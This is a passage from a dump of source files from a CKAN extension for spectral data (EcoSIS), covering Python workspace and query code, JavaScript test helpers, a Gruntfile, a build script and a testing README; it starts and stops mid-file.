True}},\n { '$rename': { 'seperator': 'separator'}}\n )\n\n# cleanup unused workspaces\ndef clean(current_package_id=None):\n expired = datetime.utcnow() - packageExpireTime\n\n # find all packages that were last touch before expired date\n packages = collections.get(\"package\").find({\n '$and' : [\n {'$or' :[\n {'lastTouched': {'$exists' : False} },\n {'lastTouched': {'$lt' : expired } },\n ]},\n {'packageId' : {'$ne' : current_package_id}}\n ]\n })\n\n # remove those packages from workspace\n for package in packages:\n if package.get(\"package_id\") == current_package_id:\n continue\n\n cleanPackage(package.get('packageId'))\n\n# remove a package from the workspace\ndef cleanPackage(package_id):\n # remove all spectra chunks\n wkspaceCol = get_package_spectra_collection(package_id)\n wkspaceCol.remove({})\n wkspaceCol.drop()\n\n # set not prepared\n collections.get(\"package\").update({\n \"packageId\": package_id\n },{\n \"$set\" : {\n \"prepared\" : False,\n \"runInfo\" : None\n }\n })\n\n # remove all hash file ids. next time we process, we should assume all is bad\n collections.get(\"resource\").update({\n \"packageId\": package_id\n },{\n \"$set\" : {\n \"hash\" : None\n }\n },multi=True)\n\n # clear anything placed on the filesystem workspace\n workspacePath = os.path.join(workspaceDir, package_id)\n\n # clean out any existing extraction\n if os.path.exists(workspacePath):\n shutil.rmtree(workspacePath)\n\n# update the last touched field for a package\ndef touch(package_id):\n collections.get(\"package\").update(\n {\"packageId\":package_id},\n {\"$set\" :{\n \"lastTouched\" : datetime.utcnow()\n }}\n )\n\n# prepare a package, that means expand it out, make sure the workspace package and\n# spectra collections are populated for this package. Make sure all disk resources\n# are properly created in workspace folder\ndef prepare(package_id, force=False):\n packageInfo = collections.get(\"package\").find_one({\n \"packageId\" : package_id,\n },{\"_id\" : 0})\n\n # create a workspace package object if required\n if packageInfo is None:\n packageInfo = {\n \"packageId\" : package_id\n }\n\n # quit if there is nothing todo\n if not force and packageInfo.get(\"prepared\") == True:\n return {\n \"success\" : True,\n \"message\" : \"already prepared, use force flag to force prepare\"\n }\n\n # make sure we are not trying to prepare a package that has been deleted\n ckanPackage = ckanPackageQuery.get(package_id)\n if ckanPackage.get('state') == 'deleted':\n raise Exception('Package has been deleted')\n\n # get all package resources\n resources = ckanResourceQuery.active(package_id)\n\n status = []\n for resource in resources:\n # get path on disk for file as well as file extension\n filepath = resourceUtil.get_path(resource.get('id'))\n ext = _getFileExtension(resource.get('name'))\n\n # extract zip contents if zip\n if ext == \"zip\":\n # TODO: we should be checking a zip hash before we go unzipping every time\n results = extractZip(package_id, resource.get('id'), filepath, resource.get('name'))\n for result in results:\n status.append(result)\n\n # extract 'normal' file (non-zip)\n else:\n result = importer.processFile(filepath, package_id, resource.get('id'), resource=resource)\n status.append(result)\n\n # respond with update of what we did (or did not) do.\n packageInfo[\"runInfo\"] = status\n packageInfo[\"lastTouched\"] = datetime.utcnow()\n packageInfo[\"prepared\"] = True\n\n collections.get(\"package\").update({\"packageId\":package_id}, packageInfo, upsert=True)\n return packageInfo\n\n# helper for single file process, handles zip condition\ndef prepareFile(package_id, resource_id, sheet_id=None, options={}):\n sheetInfo = collections.get(\"resource\").find_one({\n \"resourceId\" : resource_id,\n \"sheetId\" : sheet_id\n })\n\n if sheetInfo is None:\n sheetInfo = {}\n\n # get the name of the resource\n if 'name' in sheetInfo:\n resource = sheetInfo\n else: # fallback on querying PG for the name\n resource = ckanResourceQuery.get(resource_id)\n\n # see if we have the path, otherwise lookup it up\n if 'file' in sheetInfo:\n filepath = sheetInfo.get('file')\n else:\n filepath = resourceUtil.get_path(resource_id)\n\n ext = _getFileExtension(resource.get('name'))\n\n # much like in the prepare() method aboves resource loop\n if ext == \"zip\":\n extractZip(package_id, resource.get('id'), filepath, resource.get('name'), options=options)\n else:\n importer.processFile(filepath, package_id, resource_id, sheetId=sheet_id, options=options, resource=resource)\n\n\n\n# extract zip file and set resources\ndef extractZip(package_id, resource_id, zipPath, zipName, options={}):\n status = []\n\n # check to see if there are any changes\n zipFileInfo = collections.get(\"resource\").find_one({\n \"packageId\" : package_id,\n \"resourceId\" : resource_id\n })\n if zipFileInfo is None:\n zipFileInfo = {}\n hash = importer.hashfile(zipPath)\n\n # if hashes are equal, we nothing has changed\n if zipFileInfo.get(\"hash\") == hash:\n status.append({\n \"resourceId\" : resource_id,\n \"name\" : zipName,\n \"unzipped\" : False,\n \"message\" : \"nothing todo, hash is equal\"\n })\n return status\n\n # Send info back about what was processed\n zipFileInfo['hash'] = hash\n zipFileInfo['resourceId'] = resource_id\n zipFileInfo['packageId'] = package_id\n zipFileInfo['file'] = zipPath\n zipFileInfo['isZip'] = True\n\n # update resource collection\n collections.get(\"resource\").update({\n \"packageId\" : package_id,\n \"resourceId\" : resource_id\n }, zipFileInfo, upsert=True)\n\n status.append({\n \"resourceId\" : resource_id,\n \"name\" : zipName,\n \"unzipped\" : True\n })\n\n # get the workspace path on disk\n workspacePath = os.path.join(workspaceDir, package_id, resource_id)\n\n # clean out any existing extraction\n if os.path.exists(workspacePath):\n shutil.rmtree(workspacePath)\n\n z = zipfile.ZipFile(zipPath, \"r\")\n\n zipPackageIds = []\n for info in z.infolist():\n if _isDataFile(info.filename):\n\n # create id for individual file\n name = re.sub(r\".*/\", \"\", info.filename)\n\n if re.match(r\"^\\..*\", name): # ignore .dot files\n continue\n\n id = _getZipResourceId(resource_id, info.filename)\n\n #extract individual file\n z.extract(info, workspacePath)\n\n # check for existing config\n resource = collections.get(\"resource\").find_one({\n \"packageId\" : package_id,\n \"resourceId\" : id\n })\n\n # create new config if one doesn't exist\n if resource is None:\n resource = {\n \"packageId\" : package_id,\n \"resourceId\" : id,\n \"name\" : name,\n \"file\" : os.path.join(workspacePath, info.filename),\n \"zip\" : {\n \"name\" : zipName,\n \"resourceId\" : resource_id\n },\n \"fromZip\" : True\n }\n\n collections.get(\"resource\").update({\n \"packageId\" : package_id,\n \"resourceId\" : id\n }, resource, upsert=True)\n\n zipPackageIds.append(id)\n\n # now we pass with new resource id, but path to file\n result = importer.processFile(resource.get('file'), package_id, id, resource=resource, options=options)\n status.append(result)\n # TODO: implement .ecosis file\n\n # cleanup\n collections.get(\"resource\").remove({\n \"packageId\" : package_id,\n \"zip.resourceId\" : resource_id,\n \"resourceId\" : {\n \"$nin\" : zipPackageIds\n }\n })\n\n # more cleanup\n collections.get(\"spectra\").remove({\n \"packageId\" : package_id,\n \"zip.resourceId\" : resource_id,\n \"resourceId\" : {\n \"$nin\" : zipPackageIds\n }\n })\n\n return status\n\ndef _getZipResourceId(rid, name):\n m = hashlib.md5()\n m.update(\"%s%s\" % (rid, name))\n return m.hexdigest()\n\ndef _getFileExtension(filename):\n return re.sub(r\".*\\.\", \"\", filename)\n\ndef _isDataFile(filename):\n if _getFileExtension(filename) in dataExtension:\n return True\n return False" }, { "alpha_fraction": 0.4209919273853302, "alphanum_fraction": 0.4209919273853302, "avg_line_length": 23.11111068725586, "blob_id": "d35bbd4fc6948043dc1ad8f93d41cc9cb9b68aad", "content_id": "7dd8b9f11c91ce67886b7c050ef85076998dedec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 867, "license_type": "no_license", "max_line_length": 53, "num_lines": 36, "path": "/doi-admin/lib/rest/handleResponse.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "function handleResponse(callback) {\n return function(err, resp) {\n if( err ) {\n return callback({\n error : true,\n message : err\n });\n }\n \n if( !resp.body ) {\n return callback({\n error: true,\n message: 'Request Error',\n type : 'http',\n details: 'Server did not send a response'\n });\n }\n \n if( resp.body.error ) {\n return callback({\n error: true,\n message: 'Request Error',\n type : 'ckan',\n details: resp ? resp.body : ''\n });\n }\n\n if( resp.body.success && resp.body.result ) {\n callback(resp.body.result);\n } else {\n callback(resp.body);\n }\n }\n}\n\nmodule.exports = handleResponse;" }, { "alpha_fraction": 0.7537218332290649, "alphanum_fraction": 0.7588260173797607, "avg_line_length": 42.53703689575195, "blob_id": "7e384839a1d34ec852d1e6771ce7d05b1d0d06b1", "content_id": "a3a2c41e023e89db9333c4b0de4cf72bbc5bf5e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2351, "license_type": "no_license", "max_line_length": 331, "num_lines": 54, "path": "/spectra-importer/tests/README.md", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "Notes for running tests.\n\nChrome supports the webdriver protocal (https://dvcs.w3.org/hg/webdriver/raw-file/default/webdriver-spec.html) by default. Other browsers require a plugin which can be installed from here: http://docs.seleniumhq.org/about/platforms.jsp\n\n## Libraries\nSelenium Server: http://docs.seleniumhq.org/projects/webdriver/\n\nwebdriver.io: http://webdriver.io/\n\nmocha: http://mochajs.org/\n\n\n## Setup\n// install mocha globaly\n```\nnpm install -g mocha\n```\n\n// installs webdriverio\n```\nnpm install \n```\n\n// download selenium webdriver server (webdriver.io connects to server which speaks to browser)\n\nhttp://docs.seleniumhq.org/download/\n\n// latest\n```\nwget http://selenium-release.storage.googleapis.com/2.44/selenium-server-standalone-2.44.0.jar\n```\n\n// startup server\n```\njava -jar selenium-server-standalone-2.44.0.jar\n```\n\n## Run Test\nmocha [test].js\n\n\n## Create Tests\nUse Node.JS and webdriver.io who's api is documented here: http://webdriver.io/api.html.\n\n**Note:** The webdriver spec does not currently account for Shadow DOM. So working with webcomponents is tricky. injectPolymerHelpers.js will use webdriver.io's client.addCommand() to add custom commands which are useful for working around the lack of Shadow DOM query support.\n\nIf you have a <input /> value bound to elements attribute, setting the <input /> value via the webdriver WILL NOT set the elements attribute or fire any valueChanged events! Instead, you should simply set the elements attribute directly, this will fire valueChanged events and the new value will be reflected in the <input /> tag.\n\nThe only application change (so far), is that any file upload needs to be exposed (not hidden in Shadow DOM) as you must use the webdriver API for uploading files. Currently I'm exposing a hidden input to add any file data.\n\nA couple of the helpers:\n- setHash(hash, callback): sets the url hash of the app\n- polymerSetValue(cssQuery, path, value, callback): Given a cssQuery (can include /deep/), will set the elements attribute, defined by 'path' to 'value'. Path can be in dot notation, so you can call client.polymerSetValue('my-app /deep/ my-cool-widget', 'data.foo', 'bar') which will set my-cool-widget.data.foo = 'bar'.\n- polymerGetValue(cssQuery, path, callback): Just like set, but returns to attribute specified by the CSS query and variable path.\n" }, { "alpha_fraction": 0.39765459299087524, "alphanum_fraction": 0.39765459299087524, "avg_line_length": 26.861385345458984, "blob_id": "1c2458e6c3c9e5383c96bb7f28d2b3153a8ccc9f", "content_id": "cd6683c838a43420ead3a4bdd488f337329d63a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 5628, "license_type": "no_license", "max_line_length": 105, "num_lines": 202, "path": "/spectra-importer/Gruntfile.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "'use strict';\n\nmodule.exports = function (grunt) {\n\n // Load grunt tasks automatically\n require('load-grunt-tasks')(grunt);\n\n // Time how long tasks take. Can help when optimizing build times\n require('time-grunt')(grunt);\n\n grunt.loadNpmTasks('grunt-shell');\n grunt.loadNpmTasks('grunt-vulcanize');\n grunt.loadNpmTasks('grunt-contrib-clean');\n grunt.loadNpmTasks('grunt-contrib-copy');\n grunt.loadNpmTasks('grunt-contrib-concat');\n grunt.loadNpmTasks('grunt-contrib-uglify');\n grunt.loadNpmTasks('grunt-contrib-cssmin');\n grunt.loadNpmTasks('grunt-browserify');\n\n var files = {\n 'app/import/scripts/bundle.js': ['core/app.js']\n };\n\n var browserifyOptions = {\n debug : true, // include source maps\n standalone : 'Ecosis'\n };\n\n // Define the configuration for all the tasks\n grunt.initConfig({\n\n // Project settings\n yeoman: {\n // Configurable paths\n app: 'app',\n dist: 'dist',\n },\n\n browserify : {\n build: {\n files: files,\n options: {\n browserifyOptions : browserifyOptions\n }\n },\n watch : {\n files: files,\n options: {\n browserifyOptions : browserifyOptions,\n keepAlive : true,\n watch : true,\n debug : true\n }\n }\n },\n\n // Empties folders to start fresh\n clean: {\n dist: {\n files: [{\n dot: true,\n src: [\n '.tmp',\n '<%= yeoman.dist %>/*',\n '!<%= yeoman.dist %>/.git*'\n ]\n }]\n },\n server: '.tmp'\n },\n\n // Reads HTML for usemin blocks to enable smart builds that automatically\n // concat, minify and revision files. Creates configurations in memory so\n // additional tasks can operate on them\n useminPrepare: {\n options: {\n root : '<%= yeoman.app %>/import',\n dest: '<%= yeoman.dist %>/import',\n verbose : true\n },\n html: '<%= yeoman.app %>/import/index.html'\n },\n\n // Performs rewrites based on rev and the useminPrepare configuration\n usemin: {\n options: {\n assetsDirs: ['<%= yeoman.dist %>/import']\n },\n html: ['<%= yeoman.dist %>/import/{,*/}*.html'],\n css: ['<%= yeoman.dist %>/import/{,*/}*.css']\n },\n\n\n // Copies remaining files to places other tasks can use\n copy: {\n dist: {\n files: [{\n expand: true,\n dot: true,\n cwd: '<%= yeoman.app %>/import',\n dest: '<%= yeoman.dist %>/import',\n src: [\n '*.{html,handlebars}'\n ]\n },\n {\n expand: true,\n dot: true,\n cwd: '<%= yeoman.app %>/assets',\n dest: '<%= yeoman.dist %>/assets',\n src: [\n '{,*/}*'\n ]\n },\n {\n expand: true,\n dot: true,\n src: ['metadata_map','robots_nocrawl.txt'],\n dest: '<%= yeoman.dist %>',\n cwd: '<%= yeoman.app %>'\n },\n {\n expand: true,\n dot: true,\n src: '*.*',\n dest: '<%= yeoman.dist %>/import/fonts',\n cwd: '<%= yeoman.app %>/import/components/font-awesome/fonts'\n },\n {\n expand: true,\n dot: true,\n src: '*.*',\n dest: '<%= yeoman.dist %>/import/styles/images',\n cwd: '<%= yeoman.app %>/import/components/leaflet-control-geocoder/dist/images'\n }]\n }\n },\n\n\n shell: {\n server : {\n options: {\n stdout: true,\n stderr: true\n },\n command: 'node server --dev'\n },\n 'build-server' : {\n options: {\n stdout: true,\n stderr: true\n },\n command: 'node server'\n },\n 'tutorial-server' : {\n options: {\n stdout: true,\n stderr: true\n },\n command: 'node server --tutorial'\n }\n },\n\n vulcanize: {\n default : {\n options: {\n inline : true\n },\n files : {\n '<%= yeoman.dist %>/import/elements.html': ['<%= yeoman.app %>/import/elements.html']\n }\n }\n },\n\n });\n\n grunt.registerTask('build', [\n 'clean:dist',\n 'copy:dist',\n 'useminPrepare',\n 'concat:generated',\n 'cssmin:generated',\n 'uglify:generated',\n //'rev',\n 'usemin',\n 'vulcanize'\n ]);\n\n grunt.registerTask('server', [\n 'shell:server'\n ]);\n\n grunt.registerTask('build-server', [\n 'build',\n 'shell:build-server'\n ]);\n\n grunt.registerTask('tutorial-server', [\n 'shell:tutorial-server'\n ]);\n\n};\n" }, { "alpha_fraction": 0.570473849773407, "alphanum_fraction": 0.5741190910339355, "avg_line_length": 34.04255294799805, "blob_id": "2255e90f0a73f8889aa5386d331702adaab33ba2", "content_id": "cd8b5919f6942dc6d69d2aa42bb92bb952de4f23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1646, "license_type": "no_license", "max_line_length": 83, "num_lines": 47, "path": "/spectra-importer/tests/injectPolymerHelpers.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "/* add calls for webcomponents / polymer\n these should be named the same as: http://webdriver.io/api/action/setValue.html\n with 'polymer' prefixed\n*/\nvar fs = require('fs');\nvar async = require('async');\n\nexports.init = function(client) {\n client.addCommand(\"setHash\", function(hash, cb) {\n this.execute(function(hash){\n window.location.hash = hash;\n }, hash, cb);\n });\n\n // note, this will directly set a value via css query and path\n client.addCommand(\"polymerSetValue\", function(query, path, value, cb) {\n this.execute(function(query, path, value){\n var obj = document.querySelector(query);\n if( obj === null ) return;\n\n path = path.split('.');\n for( var i = 0; i < path.length-1; i++ ) obj = obj[path[i]];\n obj[path[path.length-1]] = value;\n }, query, path, value, function(err, resp){\n onComplete(err, resp, cb);\n });\n });\n \n client.addCommand(\"polymerGetValue\", function(query, path, cb) {\n this.execute(function(query, path){\n var obj = document.querySelector(query);\n if( obj === null ) return;\n\n path = path.split('.');\n for( var i = 0; i < path.length-1; i++ ) obj = obj[path[i]];\n return obj[path[path.length-1]];\n }, query, path, function(err, resp){\n onComplete(err, resp, cb);\n });\n });\n}\n\nfunction onComplete(error, response, callback) {\n if( error ) return callback(error);\n if( response.state == 'success') return callback(null, response.value);\n callback({error:true, message: response});\n}" }, { "alpha_fraction": 0.5625, "alphanum_fraction": 0.5667475461959839, "avg_line_length": 20.14102554321289, "blob_id": "c9cfd33a03d5f8f3dbfc8f221e6b5398f9b6e162", "content_id": "fee58bb8f7c945dd46f32614ff047a7d974c2c8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1648, "license_type": "no_license", "max_line_length": 71, "num_lines": 78, "path": "/spectra-importer/utils/top-traits/parseRdf.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var rdf = require('rdf');\nvar fs = require('fs');\n\nvar turtleParser = new rdf.TurtleParser();\n\nmodule.exports = function(text, callback) {\n turtleParser.parse(text, function(resp) {\n var trees = toTrees(resp.indexSOP);\n callback(trees)\n });\n}\n\nfunction toTrees(index) {\n var roots = [];\n\n for( var key in index ) {\n if( !key.match(/^_:.*$/) ) {\n roots.push(index[key]);\n }\n }\n\n roots = roots.map((root) => {\n var tree = {};\n crawl(tree, root, index);\n return tree;\n });\n\n return roots;\n}\n\nfunction crawl(tree, branch, index) {\n for( var key in branch ) {\n if( key.match(/^_:.*$/) ) {\n var k = Object.keys(branch[key])[0];\n applyBranch(tree, k, index[key], index)\n // applyBranch(tree, key, branch, index);\n } else {\n applyValue(tree, branch[key], index);\n }\n }\n}\n\nfunction applyBranch(tree, key, branch, index) {\n var term = key.split('#')[1];\n\n tree[term] = {};\n crawl(tree[term], branch, index);\n}\n\nfunction applyValue(tree, obj, index) {\n var key = Object.keys(obj)[0];\n\n var term = key.split('#');\n if( term.length === 1 ) term = term[0];\n else term = term[1];\n\n var value = getValue(obj[key]);\n\n if( index['_:'+value] ) {\n tree[term] = {};\n applyBranch(tree[term], key, index['_:'+value], index);\n } else {\n if( tree[term] ) {\n if( typeof tree[term] === 'string' ) tree[term] = [tree[term]];\n tree[term].push(value);\n } else {\n tree[term] = value\n }\n }\n}\n\nfunction getValue(item) {\n var val = item.object ? item.object.nominalValue : item.nominalValue;\n if( val.match(/^http.*#.*/) ) {\n return val.split('#')[1];\n }\n return val;\n}" }, { "alpha_fraction": 0.704023003578186, "alphanum_fraction": 0.704023003578186, "avg_line_length": 19.52941131591797, "blob_id": "eb2265a6e0d72bc7a162670e67be2e8e581f68da", "content_id": "0c9ff884a0b9d92eb2ade26f2c3ed6e4f854a65a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 348, "license_type": "no_license", "max_line_length": 94, "num_lines": 17, "path": "/doi-admin/build.sh", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "#! /bin/bash\n\ncpFiles=(\"index.html\" \"webcomponents-lite.js\")\ndist=dist/doi-admin\n\nrm -rf dist\npoly-next -r app -m elements -n index -d app/elements\n\nmkdir -p $dist\n\nfor file in \"${cpFiles[@]}\"; do\n cp app/$file $dist\ndone\n\nvulcanize --inline-scripts --strip-comments --inline-css app/require.html > $dist/require.html\n\nrm app/elements/index.html" }, { "alpha_fraction": 0.6141732335090637, "alphanum_fraction": 0.6197975277900696, "avg_line_length": 21.820512771606445, "blob_id": "4dfe21263cdf2bf35d061e5b5207e5f2fcf2d7f7", "content_id": "7bb8fb802c6c77bccf05361b6d9ac7e4dc054c7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 889, "license_type": "no_license", "max_line_length": 66, "num_lines": 39, "path": "/ckanext/ecosis/datastore/utils/storage.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import os\n\nstorage_path = None\n\n'''\nHelpers for reading storage paths for reading resources from disk\n'''\n\ndef init(config):\n global storage_path\n\n storage_path = None\n _storage_path = None\n\n #None means it has not been set. False means not in config.\n if _storage_path is None:\n storage_path = config.get(\"app:main\", 'ckan.storage_path')\n\n if storage_path:\n _storage_path = storage_path\n else:\n _storage_path = False\n\n if not _storage_path:\n storage_path = None\n return\n\n storage_path = os.path.join(_storage_path, 'resources')\n\n\ndef get_directory(id):\n directory = os.path.join(storage_path,\n id[0:3], id[3:6])\n return directory\n\ndef get_path(resource_id):\n directory = get_directory(resource_id)\n filepath = os.path.join(directory, resource_id[6:])\n return filepath" }, { "alpha_fraction": 0.6842105388641357, "alphanum_fraction": 0.6842105388641357, "avg_line_length": 24.33333396911621, "blob_id": "ee428ebf58bd1409a37e334591a0c84b918cec44", "content_id": "872f7eac70297bf124b4ec53a4c8b99fb37eb740", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 76, "license_type": "no_license", "max_line_length": 27, "num_lines": 3, "path": "/spectra-importer/tests/mocha/index.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "require('./cleanup');\nrequire('./createPackage');\nrequire('./postCleanup');\n" }, { "alpha_fraction": 0.6071842312812805, "alphanum_fraction": 0.6152954697608948, "avg_line_length": 33.52000045776367, "blob_id": "9e71137f24b8a4ecbc57fbd85143e691bf2248e5", "content_id": "73e45b0c9afd5d1f7e62a2cddcb9cc047d42de35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 863, "license_type": "no_license", "max_line_length": 104, "num_lines": 25, "path": "/ckanext/ecosis/controller/git/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import subprocess, json, re, os\n\npath = os.path.dirname(os.path.abspath(__file__))\n\n# grab git info using command line git commands\ndef info():\n resp = {}\n\n cmd = \"git describe --tags\"\n process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE, cwd=path)\n resp[\"version\"] = process.communicate()[0].decode(\"utf-8\")\n\n cmd = \"git branch\"\n process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE, cwd=path)\n resp[\"branch\"] = process.communicate()[0].decode(\"utf-8\").split(\"\\n\")\n for branch in resp[\"branch\"]:\n if \"*\" in branch:\n resp[\"branch\"] = branch.replace(\"* \",\"\")\n break\n\n cmd = \"git log -1\"\n process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE, cwd=path)\n resp[\"commit\"] = re.sub(r'\\n.*', '', process.communicate()[0].decode(\"utf-8\")).replace(\"commit \",\"\")\n\n return resp\n" }, { "alpha_fraction": 0.5925134420394897, "alphanum_fraction": 0.5934518575668335, "avg_line_length": 32.186851501464844, "blob_id": "fba9664536ab313f6536b04c2c5714af4ee2d483", "content_id": "3cfefb53493a137754d90e5dc8e4780e223a6393", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19181, "license_type": "no_license", "max_line_length": 130, "num_lines": 578, "path": "/ckanext/ecosis/datastore/query/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import re, pymongo, json, dateutil\nfrom ckan.common import config\n\nfrom ckanext.ecosis.datastore.ckan import package as ckanPackageQuery\nfrom ckanext.ecosis.datastore.ckan import resource as ckanResourceQuery\nfrom ckanext.ecosis.datastore.vocab import usda\nfrom ckanext.ecosis.datastore.vocab import controlled as controlledVocab\nfrom ckanext.ecosis.datastore.utils import mongo\nfrom ckanext.ecosis.datastore.mongo import get_package_spectra_collection\nfrom ckanext.ecosis.lib import utils\nfrom . import workspace\n\n'''\nQuery ecosis workspace collections\n'''\n\ncollections = None\nhost = \"\"\n\n# inject global dependencies\ndef init(co, hostUrl):\n global collections, host\n\n collections = co\n host = hostUrl\n workspace.init(co, getResource, isPushed)\n\n# get a spectra at a specific index.\ndef get(packageId=\"\", resourceId=None, sheetId=None, index=0, showProcessInfo=False, must_be_valid=False, clean_wavelengths=True):\n # build out query\n query = {\n \"type\" : \"data\",\n \"packageId\" : packageId\n }\n\n # you can limit by resource and sheet id if you want\n if resourceId is not None:\n query[\"resourceId\"] = resourceId\n if sheetId is not None:\n query[\"sheetId\"] = sheetId\n\n # get spectra at index\n main = get_package_spectra_collection(packageId).find_one(query, skip=index, sort=[(\"index\", pymongo.ASCENDING)])\n\n if main == None:\n raise Exception('Unabled to get spectra from package_id: %s at index %s' % (packageId, index))\n\n # the collection also contains config information about the spectra, just grab to spectra attribute\n spectra = main.get('spectra')\n\n # this also replaces , with .\n # also moves measurement waveslength keys to 'datapoints' object\n moveWavelengths(spectra, clean_wavelengths)\n\n if must_be_valid:\n if 'datapoints' not in spectra:\n return {}\n if len(spectra['datapoints']) == 0:\n return {}\n\n # get information for the sheet this spectra came from\n sheetInfo = collections.get('resource').find_one({\n \"packageId\": packageId,\n \"resourceId\": main.get(\"resourceId\"),\n \"sheetId\" : main.get(\"sheetId\")\n })\n\n # get package information for the package this spectra came from\n package = ckanPackageQuery.get(packageId)\n\n attributeProcessInfo = []\n\n # join together metadata to this spectra\n join(packageId, spectra, attributeProcessInfo)\n\n config = collections.get('package').find_one({\"packageId\": packageId})\n if config == None:\n config = {}\n\n # set the spectra attribute aliases\n mapNames(spectra, config, attributeProcessInfo, package)\n\n # lookup any usda code given\n usda.setCodes(spectra, info=attributeProcessInfo)\n\n # strip controlled vocab fields. Remove any values that are not part of the controlled\n # vocabulary\n controlledVocab.enforce(spectra)\n\n # add 'spectra.ecosis' attribute with package and sheet info\n if showProcessInfo:\n addEcosisNamespace(spectra, package, main, sheetInfo, processInfo=attributeProcessInfo)\n else:\n addEcosisNamespace(spectra, package, main, sheetInfo)\n\n # set the sort information. This data needs to be of the correct type (string, number, date) for\n # proper sorting in mongodb\n setSort(spectra, config, package)\n\n # set the location information. Needs to be proper geojson if it's going to be used\n setLocation(spectra)\n\n # set photo\n setPhoto(packageId, spectra)\n\n return spectra\n\n# just like get spectra, but retrieves a row or column of metadata\ndef getMetadataChunk(packageId, resourceId=None, sheetId=None, index=0):\n query = {\n \"type\" : \"metadata\",\n \"packageId\" : packageId\n }\n\n # add additional query parameters\n if resourceId is not None:\n query['resourceId'] = resourceId\n if sheetId is not None:\n query['sheetId'] = sheetId\n\n # grab metadata chunk at given index\n chunk = get_package_spectra_collection(packageId).find_one(query, skip=index, sort=[(\"index\", pymongo.ASCENDING)])\n if chunk is None:\n raise Exception('Invalid resource ids given')\n\n # grab the sheet information\n del query['type']\n sheetInfo = collections.get('resource').find_one(query)\n\n # now look up information about what spectra we are joining to\n joinedNames = []\n joinOn = sheetInfo.get(\"joinOn\")\n\n if sheetInfo is not None and joinOn is not None and joinOn != \"\" and chunk.get('spectra') is not None:\n # now make join query\n joinQuery = {\n \"type\" : \"data\",\n \"packageId\" : packageId\n }\n\n # we are going to find all spectra that have the 'joinOn' attribute equal to this metadata\n # chunks value.\n joinQuery['spectra.%s' % sheetInfo.get(\"joinOn\")] = chunk.get('spectra')[sheetInfo.get(\"joinOn\")]\n\n # run query\n joined = get_package_spectra_collection(packageId).find(joinQuery)\n\n # for all results, append sheet information to the 'joinedNames' resources array.\n for r in joined:\n # TODO: is there a better way to get the actual 'name' of a resource?\n joinedInfo = collections.get('resource').find_one(\n {\n 'resourceId': r.get('resourceId'),\n 'sheetId': r.get('sheetId')\n },\n {\"layout\": 1,\"name\": 1})\n\n\n if joinedInfo is None: # Badness\n joinedName = {}\n joinedInfo = {}\n elif 'name' in joinedInfo:\n joinedName = joinedInfo\n else: # if no name is provided in workspace, fallback to postgres\n try:\n joinedName = ckanResourceQuery.get(r.get('resourceId'))\n except:\n joinedName = {}\n\n # add information about which spectra this chunk joins to\n if joinedName is not None:\n joinedNames.append({\n \"resourceId\" : r.get('resourceId'),\n \"sheetId\" : r.get('sheetId'),\n \"name\" : joinedName.get('name'),\n \"layout\" : joinedInfo.get('layout'),\n \"index\" : r.get(\"index\")\n })\n\n # set photo\n setPhoto(packageId, chunk.get('spectra'))\n\n # return metadata and join information\n return {\n \"metadata\" : chunk.get('spectra'),\n \"joinedResources\" : joinedNames,\n \"joinKey\" : sheetInfo.get(\"joinOn\")\n }\n\n# get all metadata information for a sheet\n# get number of chunks and number of joined chunks\ndef getMetadataInfo(packageId, resourceId=None, sheetId=None):\n query = {\n \"packageId\" : packageId\n }\n\n # add additional query parameters\n if resourceId is not None:\n query['resourceId'] = resourceId\n if sheetId is not None:\n query['sheetId'] = sheetId\n\n sheetInfo = collections.get('resource').find_one(query)\n if sheetInfo is None:\n raise Exception('No resource found')\n\n query['type'] = \"metadata\"\n\n # get all distinct join values\n attrs = mongo.distinct(get_package_spectra_collection(packageId), 'spectra.%s' % sheetInfo.get('joinOn'), query)\n # get total number of metadata rows or columns\n total = mongo.count(get_package_spectra_collection(packageId), query)\n\n query = {\n \"packageId\" : packageId,\n \"type\" : \"data\"\n }\n query['spectra.%s' % sheetInfo.get('joinOn')] = {\n \"$in\" : attrs\n }\n\n # get the number of spectra that match to this sheet\n return {\n \"joinCount\": mongo.count(get_package_spectra_collection(packageId), query),\n \"total\" : total\n }\n\n# get total number of rows/cols for a sheet\ndef total(packageId, resourceId=None, sheetId=None):\n query = {\n \"type\" : \"data\",\n \"packageId\" : packageId\n }\n\n if resourceId is not None:\n query['resourceId'] = resourceId\n if sheetId is not None:\n query['sheetId'] = sheetId\n\n # need to support 2.8 drive cause pythons 3.0 seems to be a POS\n return {\"total\" : mongo.count(get_package_spectra_collection(packageId), query)}\n\n# if the spectra has a 'photo' attribute see if it's a name of a resource file,\n# if so, set the download URL as the value\ndef setPhoto(packageId, spectra):\n if spectra is None:\n return\n\n photoKey = None\n for key in spectra:\n if utils.flatten(key) == 'photo':\n photoKey = key\n break\n\n if photoKey is None:\n 